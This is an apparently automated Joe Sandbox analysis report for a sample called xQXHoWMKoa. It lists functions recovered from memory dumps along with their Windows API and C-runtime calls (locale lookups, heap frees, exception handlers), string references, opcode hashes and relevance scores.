GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,0040FDA2,?,20001004,00000000,00000002,?,?,0040F3AF), ref: 004117F8

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 7dfd2f7fe9333bcd9ab1f1e649f3dfd416cee645eef405dfc41d56f5540eb6f2
Instruction ID: f1ffad9f7493a20e1e47896534fb325b68066d6c8e44c3ca6cb9becada3ee989
Opcode Fuzzy Hash: 7dfd2f7fe9333bcd9ab1f1e649f3dfd416cee645eef405dfc41d56f5540eb6f2
Instruction Fuzzy Hash: 42E04F7160012DBBCF122F61DC04EDE7F16EF44760F008026FE2565270CB3A8961AA9D

Uniqueness

Uniqueness Score: -1.00%

Function 03651A2B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,03650009,?,20001004,00000000,00000002,?,?,0364F616), ref: 03651A5F

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: e4c789af67278788dffe9a087bd2880ff700be03534d4701b505ff5e7740c75a
Instruction ID: 396c021a04ca3d4915800ea8eabaab67d646a65643fba4b91cd327bbbaf8523e
Opcode Fuzzy Hash: e4c789af67278788dffe9a087bd2880ff700be03534d4701b505ff5e7740c75a
Instruction Fuzzy Hash: 69E04F75900218BBCF13AF60DC08FDE7F66EF45760F048034FD0565224DB7189219A98

Uniqueness

Uniqueness Score: -1.00%

Function 00408809 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00008815,004083EB), ref: 0040880E

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 38af26235b8cc3ceae49358e8a54956bb69905a5ce5cd97359cf396c773beb13
Instruction ID: 88ea734170ceb8da17e4ae8e7696b0f7264f27bf5bd06e65ff9b2a7556fbe227
Opcode Fuzzy Hash: 38af26235b8cc3ceae49358e8a54956bb69905a5ce5cd97359cf396c773beb13
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 03648A70 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00408815,03648652), ref: 03648A75

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 38af26235b8cc3ceae49358e8a54956bb69905a5ce5cd97359cf396c773beb13
Instruction ID: 88ea734170ceb8da17e4ae8e7696b0f7264f27bf5bd06e65ff9b2a7556fbe227
Opcode Fuzzy Hash: 38af26235b8cc3ceae49358e8a54956bb69905a5ce5cd97359cf396c773beb13
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 03649AC7 Relevance: 1.3, Strings: 1, Instructions: 76COMMON

Download Yara Rule

Strings

wB, xrefs: 03649ACB

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID:
String ID: wB
API String ID: 0-480074513
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 162b83678d368fd2f6e964e1a509678548362ba6ca52e3ba8ec5325118818432
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 4611C477AC004143D719CA2DDAB86FBE7EAEBC6324B2D536AD0818B758D332E545D600

Uniqueness

Uniqueness Score: -1.00%

Function 00421D0A Relevance: 1.3, Instructions: 1258COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad3094ec74b8ca2bb05006be3cd53dc34e13bd062d47afb68ea496930e04c5d6
Instruction ID: 6a46321743cd6673b021c4652a77d37a041c12dd2dc9ce9ddfee4901dac299f9
Opcode Fuzzy Hash: ad3094ec74b8ca2bb05006be3cd53dc34e13bd062d47afb68ea496930e04c5d6
Instruction Fuzzy Hash: 69B2969694E7D21FD7178B742E39644BF706A2311478E86DFC4C5CE8A3E24C990AC36A

Uniqueness

Uniqueness Score: -1.00%

Function 00416A7C Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00416A7C

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: be0d64fc628961a75c7fea696ec86539ed3f2f6f90ec2866f805486d45399620
Instruction ID: 9a80fc1e86b51b65d844f4e1b3b296cb5ecca0acffe3ceb98a2f460cf26000b7
Opcode Fuzzy Hash: be0d64fc628961a75c7fea696ec86539ed3f2f6f90ec2866f805486d45399620
Instruction Fuzzy Hash: 83A011B0A002088B83008F30AE083083EA8BA082E0B808238A000C2020EB208002AA08

Uniqueness

Uniqueness Score: -1.00%

Function 00413C49 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 656f4a777774534caa05a715824ad20497830ec17b4398a361ec3e82dfec4615
Instruction ID: ce91a84200b12bb3e65472564ab51a4661800a2c0db6da400fdd48d9a081512b
Opcode Fuzzy Hash: 656f4a777774534caa05a715824ad20497830ec17b4398a361ec3e82dfec4615
Instruction Fuzzy Hash: E332F331E29F414DD7339634C822336A688AFB73D9F55D737E819B5AA6EB28D4C34108

Uniqueness

Uniqueness Score: -1.00%

Function 0041813E Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: ErrorLastProcess_free$CurrentFeatureInfoLocalePresentProcessorTerminate
String ID:
API String ID: 4283097504-0
Opcode ID: 3b8a81560e23698420bec77f636d7fd4ce162dbd4d233b5a6d0a8a91b0f47571
Instruction ID: 8a277a9ba9e2cb3adc23f5f92e5e32993b2160f168a4950bcc42838f0cd18666
Opcode Fuzzy Hash: 3b8a81560e23698420bec77f636d7fd4ce162dbd4d233b5a6d0a8a91b0f47571
Instruction Fuzzy Hash: A3B105355007069BDB349F25CC82AFBB3A8EF40708F18456EED43C6681EE79A9C5C758

Uniqueness

Uniqueness Score: -1.00%

Function 036583A5 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: ErrorLastProcess_free$CurrentFeatureInfoLocalePresentProcessorTerminate
String ID:
API String ID: 4283097504-0
Opcode ID: 19325a9f69916bc8a10001534ef269aae18e6e9007ddaf2dc5dba4d720a7a723
Instruction ID: 621465b815887d4b33802e21a200794904c6ece10d2e0602d7be02532fd8255d
Opcode Fuzzy Hash: 19325a9f69916bc8a10001534ef269aae18e6e9007ddaf2dc5dba4d720a7a723
Instruction Fuzzy Hash: E6B1E2756007458BDB38DF24CD91ABBB3A8EB44308F48457DFE8787A80EA75A985CB14

Uniqueness

Uniqueness Score: -1.00%

Function 00409860 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: c224a7b1d3b2b472e7c4d78a28fe39c54548d5fa19f656e8a42d0415e5b22b21
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 891138B722018243E6049A2DC8F45B7A395EBC732172CC37BD0426B7CAD23AEC45A608

Uniqueness

Uniqueness Score: -1.00%

Function 01C7EA9B Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2080339469.0000000001C7E000.00000040.00000020.00020000.00000000.sdmp, Offset: 01C7E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c7e000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 17a003eaed662cfc1872a0618dbddfe52d48582b980bc49da100447dcc77bc27
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 9A117C73340100EFE754DE59DCC1FA677EAFB88270B1980A5E905CB756E6B5E801CB60

Uniqueness

Uniqueness Score: -1.00%

Function 03640D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: eb517618bf7d7e9252239141d6a6acaf14fa1d2b5a58c8b1de223e39d234cbca
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: BC01A276E006248FDF21CF24CD04BABB3F9EF86216F4944F5DA0A97381E774A9458B90

Uniqueness

Uniqueness Score: -1.00%

Function 00411192 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92976e27265fe885d89e0f6fad5462a5c08e5a4a2b5dbc5281e8658eadfb1027
Instruction ID: 0127a740ddf63ee29669ecccb8c56c2eb241db55512d73dd5e6eafc6ae65d901
Opcode Fuzzy Hash: 92976e27265fe885d89e0f6fad5462a5c08e5a4a2b5dbc5281e8658eadfb1027
Instruction Fuzzy Hash: 04E04672A21228EBCB25DB898904D8AF2BCEB48B04B15019AB611D3220C274DE40C7DC

Uniqueness

Uniqueness Score: -1.00%

Function 036513F9 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92976e27265fe885d89e0f6fad5462a5c08e5a4a2b5dbc5281e8658eadfb1027
Instruction ID: 6d5b7390cfdcd3d150b400048ced2d4cc7ea046ede91603bf0bf55386076e7ca
Opcode Fuzzy Hash: 92976e27265fe885d89e0f6fad5462a5c08e5a4a2b5dbc5281e8658eadfb1027
Instruction Fuzzy Hash: DFE08C32911228EBCB24DB88C904E8AF3FCEB46B01F1548AAF911D3200C274DE40C7E0

Uniqueness

Uniqueness Score: -1.00%

Function 0040D070 Relevance: 22.9, APIs: 15, Instructions: 357COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0040D0DF
_free.LIBCMT ref: 0040D0F5
_free.LIBCMT ref: 0040D108
_free.LIBCMT ref: 0040D11D
_free.LIBCMT ref: 0040D132
GetCPInfo.KERNEL32(?,?), ref: 0040D17C

Part of subcall function 00412EA1: _free.LIBCMT ref: 00412F0C

_free.LIBCMT ref: 0040D3E7
_free.LIBCMT ref: 0040D3FA
_free.LIBCMT ref: 0040D408
_free.LIBCMT ref: 0040D413
_free.LIBCMT ref: 0040D455
_free.LIBCMT ref: 0040D45D
_free.LIBCMT ref: 0040D463
_free.LIBCMT ref: 0040D46B
_free.LIBCMT ref: 0040D479

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: _free$Info
String ID:
API String ID: 2509303402-0
Opcode ID: 65bc85b268157d86e1641153401a954afe29d198bfc914ab22ba314f3bf45bef
Instruction ID: f48acb67b4c6df89428c4c1f837389808573a3c9901b7a429869786fca5a7aff
Opcode Fuzzy Hash: 65bc85b268157d86e1641153401a954afe29d198bfc914ab22ba314f3bf45bef
Instruction Fuzzy Hash: 2AD18D71D002059FDB11DFA9C881BEEBBB5BF48300F14407AE999B7392D778A949CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0364D2D7 Relevance: 22.9, APIs: 15, Instructions: 357COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0364D346
_free.LIBCMT ref: 0364D35C
_free.LIBCMT ref: 0364D36F
_free.LIBCMT ref: 0364D384
_free.LIBCMT ref: 0364D399
GetCPInfo.KERNEL32(?,?), ref: 0364D3E3

Part of subcall function 03653108: _free.LIBCMT ref: 03653173

_free.LIBCMT ref: 0364D64E
_free.LIBCMT ref: 0364D661
_free.LIBCMT ref: 0364D66F
_free.LIBCMT ref: 0364D67A
_free.LIBCMT ref: 0364D6BC
_free.LIBCMT ref: 0364D6C4
_free.LIBCMT ref: 0364D6CA
_free.LIBCMT ref: 0364D6D2
_free.LIBCMT ref: 0364D6E0

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: _free$Info
String ID:
API String ID: 2509303402-0
Opcode ID: 850d41b9ea7620a9bbc0545b0f443e09ea2c189d2119f7f654799f89de4b0c77
Instruction ID: c842c3f6bdbbdab1f907892d9d8c77e9b8c5bddf3928e7dd6fb7502e95a1fcef
Opcode Fuzzy Hash: 850d41b9ea7620a9bbc0545b0f443e09ea2c189d2119f7f654799f89de4b0c77
Instruction Fuzzy Hash: 2DD17E75E003059FDB11DFA8C980BEEBBF5BF09304F18416DE899AB382D771A8458B64

Uniqueness

Uniqueness Score: -1.00%

Function 00407F24 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(0042B3A4,00000FA0,?,?,00407F02), ref: 00407F30
GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,00407F02), ref: 00407F3B
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00407F02), ref: 00407F4C
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00407F5E
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00407F6C
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,00407F02), ref: 00407F8F
DeleteCriticalSection.KERNEL32(0042B3A4,00000007,?,?,00407F02), ref: 00407FAB
CloseHandle.KERNEL32(00000000,?,?,00407F02), ref: 00407FBB

Strings

WakeAllConditionVariable, xrefs: 00407F64
SleepConditionVariableCS, xrefs: 00407F58
kernel32.dll, xrefs: 00407F47
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00407F36

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: 3afd87156110544aab6276892685be635895f3eea0f680a35fae2ea3849afc99
Instruction ID: a19f058fcb25ef7d0541567dcf108cb76fc932f657a8580cad76dbe9db88d878
Opcode Fuzzy Hash: 3afd87156110544aab6276892685be635895f3eea0f680a35fae2ea3849afc99
Instruction Fuzzy Hash: FA0180B1F44622AFC6209B61AC08B962F98EB48745B554036FD09E2290DB7CD80286AE

Uniqueness

Uniqueness Score: -1.00%

Function 00417C74 Relevance: 19.6, APIs: 13, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00417CB8

Part of subcall function 00416F20: _free.LIBCMT ref: 00416F3D
Part of subcall function 00416F20: _free.LIBCMT ref: 00416F4F
Part of subcall function 00416F20: _free.LIBCMT ref: 00416F61
Part of subcall function 00416F20: _free.LIBCMT ref: 00416F73
Part of subcall function 00416F20: _free.LIBCMT ref: 00416F85
Part of subcall function 00416F20: _free.LIBCMT ref: 00416F97
Part of subcall function 00416F20: _free.LIBCMT ref: 00416FA9
Part of subcall function 00416F20: _free.LIBCMT ref: 00416FBB
Part of subcall function 00416F20: _free.LIBCMT ref: 00416FCD
Part of subcall function 00416F20: _free.LIBCMT ref: 00416FDF
Part of subcall function 00416F20: _free.LIBCMT ref: 00416FF1
Part of subcall function 00416F20: _free.LIBCMT ref: 00417003
Part of subcall function 00416F20: _free.LIBCMT ref: 00417015

_free.LIBCMT ref: 00417CAD

Part of subcall function 0041125B: HeapFree.KERNEL32(00000000,00000000,?,00417675,?,00000000,?,?,?,00417918,?,00000007,?,?,00417E0B,?), ref: 00411271
Part of subcall function 0041125B: GetLastError.KERNEL32(?,?,00417675,?,00000000,?,?,?,00417918,?,00000007,?,?,00417E0B,?,?), ref: 00411283

_free.LIBCMT ref: 00417CCF
_free.LIBCMT ref: 00417CE4
_free.LIBCMT ref: 00417CEF
_free.LIBCMT ref: 00417D11
_free.LIBCMT ref: 00417D24
_free.LIBCMT ref: 00417D32
_free.LIBCMT ref: 00417D3D
_free.LIBCMT ref: 00417D75
_free.LIBCMT ref: 00417D7C
_free.LIBCMT ref: 00417D99
_free.LIBCMT ref: 00417DB1

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: af609678471b8ab540c2b8950501b42a478479f5e86e843434d43beba63a830c
Instruction ID: e9e017e9e70096e1a3b6c1b1170feda9da74edb8891a580a10505246af74ddce
Opcode Fuzzy Hash: af609678471b8ab540c2b8950501b42a478479f5e86e843434d43beba63a830c
Instruction Fuzzy Hash: 66313D316082049FEB616B39E885BEB73F5BF40354F14445BE55AE6261DE39EDC08A18

Uniqueness

Uniqueness Score: -1.00%

Function 03657EDB Relevance: 19.6, APIs: 13, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 03657F1F

Part of subcall function 03657187: _free.LIBCMT ref: 036571A4
Part of subcall function 03657187: _free.LIBCMT ref: 036571B6
Part of subcall function 03657187: _free.LIBCMT ref: 036571C8
Part of subcall function 03657187: _free.LIBCMT ref: 036571DA
Part of subcall function 03657187: _free.LIBCMT ref: 036571EC
Part of subcall function 03657187: _free.LIBCMT ref: 036571FE
Part of subcall function 03657187: _free.LIBCMT ref: 03657210
Part of subcall function 03657187: _free.LIBCMT ref: 03657222
Part of subcall function 03657187: _free.LIBCMT ref: 03657234
Part of subcall function 03657187: _free.LIBCMT ref: 03657246
Part of subcall function 03657187: _free.LIBCMT ref: 03657258
Part of subcall function 03657187: _free.LIBCMT ref: 0365726A
Part of subcall function 03657187: _free.LIBCMT ref: 0365727C

_free.LIBCMT ref: 03657F14

Part of subcall function 036514C2: HeapFree.KERNEL32(00000000,00000000,?,036578DC,?,00000000,?,?,?,03657B7F,?,00000007,?,?,03658072,?), ref: 036514D8
Part of subcall function 036514C2: GetLastError.KERNEL32(?,?,036578DC,?,00000000,?,?,?,03657B7F,?,00000007,?,?,03658072,?,?), ref: 036514EA

_free.LIBCMT ref: 03657F36
_free.LIBCMT ref: 03657F4B
_free.LIBCMT ref: 03657F56
_free.LIBCMT ref: 03657F78
_free.LIBCMT ref: 03657F8B
_free.LIBCMT ref: 03657F99
_free.LIBCMT ref: 03657FA4
_free.LIBCMT ref: 03657FDC
_free.LIBCMT ref: 03657FE3
_free.LIBCMT ref: 03658000
_free.LIBCMT ref: 03658018

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: af609678471b8ab540c2b8950501b42a478479f5e86e843434d43beba63a830c
Instruction ID: fa0bb0bacbb1a34aa6841996192e6c7529ddb9734eb522dc3e027f6df03cfdbd
Opcode Fuzzy Hash: af609678471b8ab540c2b8950501b42a478479f5e86e843434d43beba63a830c
Instruction Fuzzy Hash: F03128326043019FEF21EB39E944F5AB3E9AF01355F189479F869DB290DB75E884CB24

Uniqueness

Uniqueness Score: -1.00%

Function 0041701E Relevance: 18.4, APIs: 12, Instructions: 373COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00417066
_free.LIBCMT ref: 0041708A
_free.LIBCMT ref: 00417097
_free.LIBCMT ref: 004170BC
_free.LIBCMT ref: 004170C9
_free.LIBCMT ref: 004170D2
_free.LIBCMT ref: 004173AC
_free.LIBCMT ref: 004173B4

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 34f5fdf0b8bdb14330cc865bf637b4ee9d4ff9b5938c2c07efc02eda8cb8b269
Instruction ID: 42fbab66e9cf25db311135ae3b80c01aff3d2257f9b586594fdb2add1afdc84e
Opcode Fuzzy Hash: 34f5fdf0b8bdb14330cc865bf637b4ee9d4ff9b5938c2c07efc02eda8cb8b269
Instruction Fuzzy Hash: B6C14572D40208BBDB20DBA9CC82FDE77F8AB48744F14415AFE05FB282D674D9919B58

Uniqueness

Uniqueness Score: -1.00%

Function 0040AF22 Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 0040B01F
type_info::operator==.LIBVCRUNTIME ref: 0040B041
___TypeMatch.LIBVCRUNTIME ref: 0040B150
IsInExceptionSpec.LIBVCRUNTIME ref: 0040B222
_UnwindNestedFrames.LIBCMT ref: 0040B2A6
CallUnexpected.LIBVCRUNTIME ref: 0040B2C1

Strings

csm, xrefs: 0040AF5F
csm, xrefs: 0040B078
csm, xrefs: 0040AFCC

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: 64fec2e6905338865a3aa652d04a3b23e7e75c973bf99f0870139667b81e2020
Instruction ID: 9b87920d04b85154828264b23fc5401adf6896f7eb034d6441ed0df8c70c5019
Opcode Fuzzy Hash: 64fec2e6905338865a3aa652d04a3b23e7e75c973bf99f0870139667b81e2020
Instruction Fuzzy Hash: D6B16771800209AFCF15DFA5C9859AFB7B5FF14314B1440AEE8107B292D739EA61CBDA

Uniqueness

Uniqueness Score: -1.00%

Function 0364B189 Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 0364B286
type_info::operator==.LIBVCRUNTIME ref: 0364B2A8
___TypeMatch.LIBVCRUNTIME ref: 0364B3B7
IsInExceptionSpec.LIBVCRUNTIME ref: 0364B489
_UnwindNestedFrames.LIBCMT ref: 0364B50D
CallUnexpected.LIBVCRUNTIME ref: 0364B528

Strings

csm, xrefs: 0364B1C6
csm, xrefs: 0364B233
csm, xrefs: 0364B2DF

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: 64fec2e6905338865a3aa652d04a3b23e7e75c973bf99f0870139667b81e2020
Instruction ID: c2e3d9513402ef2428eb32ff20cd3a558580c95733bc0767009f1eb5f5b68e23
Opcode Fuzzy Hash: 64fec2e6905338865a3aa652d04a3b23e7e75c973bf99f0870139667b81e2020
Instruction Fuzzy Hash: 0AB18875C00219EFCF19DFA4DA809AEBBB9BF04310F18449AE8956B315D730DA61CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00410C28 Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00410C3E

Part of subcall function 0041125B: HeapFree.KERNEL32(00000000,00000000,?,00417675,?,00000000,?,?,?,00417918,?,00000007,?,?,00417E0B,?), ref: 00411271
Part of subcall function 0041125B: GetLastError.KERNEL32(?,?,00417675,?,00000000,?,?,?,00417918,?,00000007,?,?,00417E0B,?,?), ref: 00411283

_free.LIBCMT ref: 00410C4A
_free.LIBCMT ref: 00410C55
_free.LIBCMT ref: 00410C60
_free.LIBCMT ref: 00410C6B
_free.LIBCMT ref: 00410C76
_free.LIBCMT ref: 00410C81
_free.LIBCMT ref: 00410C8C
_free.LIBCMT ref: 00410C97
_free.LIBCMT ref: 00410CA5

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 6169125313e151299e838c55eab60358d29eaae796496bf1b255aadfab8948fd
Instruction ID: 11d24dd239afa09924a0f0502ab39d585f16e363cbd1b0e4f0ad4e1278c0f01c
Opcode Fuzzy Hash: 6169125313e151299e838c55eab60358d29eaae796496bf1b255aadfab8948fd
Instruction Fuzzy Hash: 2D218776900108EFCB41EF95C881DDE7BB9BF48344B0141AAF61AEB121EB35DA85CF84

Uniqueness

Uniqueness Score: -1.00%

Function 03650E8F Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 03650EA5

